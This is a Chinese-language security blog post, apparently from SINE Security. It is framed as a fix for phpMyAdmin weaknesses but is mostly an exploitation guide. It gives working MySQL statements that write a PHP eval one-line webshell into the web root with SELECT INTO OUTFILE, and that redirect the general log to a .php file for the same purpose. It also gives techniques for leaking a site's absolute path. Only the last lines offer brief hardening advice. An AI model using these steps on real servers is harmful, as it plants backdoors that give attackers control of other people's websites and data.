修復網站漏洞對phpmyadmin防止被入侵提權的解決辦法
phpmyadmin是很多網站用來管理資料庫的一個系統,尤其是mysql資料庫管理的較多一些,最近phpmysql爆出漏洞,尤其是弱口令,sql注入漏洞,都會導致mysql的資料賬號密碼被洩露,那麼如何通過phpmyadmin來上傳提權webshell呢
首先我們來搭建一下PHP+mysql環境,linux centos系統,PHP的版本是5.3,mysql版本是5.6,linux系統64位,apache 2.2版本,部署在新開的一臺阿里雲的按量付費ECS伺服器。
phpmyadmin漏洞利用
利用mysql資料庫select into outfile方式來寫入webshell到網站的根目錄下,該漏洞的利用前提是必須知道網站的當前路徑是多少,如何知道網站的當前路徑,這個要通過爆出網站的錯誤來進行檢視絕對的路徑。使用下面的程式碼:
select load_file('/home/www/safe.php')
select '<?php eval($_POST[sine]); ?>' into outfile '/home/www/safe.php';
執行這個語句就可以生成一句話的木馬後門。
也可以使用寫資料庫日誌的方式來進行漏洞的利用,前提是mysql的版本都是5.0以上的,以及日誌開啟,如果沒有開啟日誌功能,我們需要在phpmyadmin裡進行開啟,語句如下:set globalgener al_log = "ON";這個資料庫語句就是開啟日誌的功能。檢視當前資料庫是否開啟,可以使用語句檢視到SHOW VARIABLES LIKE 'general%'就可以看到是否開啟日誌了,日誌開啟成功,那麼我們把日誌的檔案改為php,這樣就可以記錄日誌到php檔案當中去了,我們在操作語句的時候可以把一句話網站後門程式碼寫到日誌檔案當中去進行執行。
關於phpmyadmin網站的絕對路徑獲取,可以使用單引號來進行錯誤測試,在ID值後門加上單引號,有些網站就會爆出絕對的網站路徑,再一個使用錯誤的賦值比如ID=1是正常,那麼我們可以使用ID=-1,來進行報錯,也可以使用搜索引擎來檢視網站的快照,看看是否存在一些錯誤的快照收錄,很多網站會留下一些測試的程式碼,比如phpinfo這樣的程式碼,檔案地址是text.php 1.php phpinfo.php等待的檔案。
以上就是phpmyadmin漏洞利用,以及如何提權拿webshell的一些利用技巧,關於phpmyadmin漏洞的修復,SINE安全建議管理員關閉掉phpmyadmin的對外訪問,只允許在伺服器裡開啟phpmyadmin的介面,外網無法開啟。對網站的根目錄部署防篡改安全防護,禁止新增PHP檔案。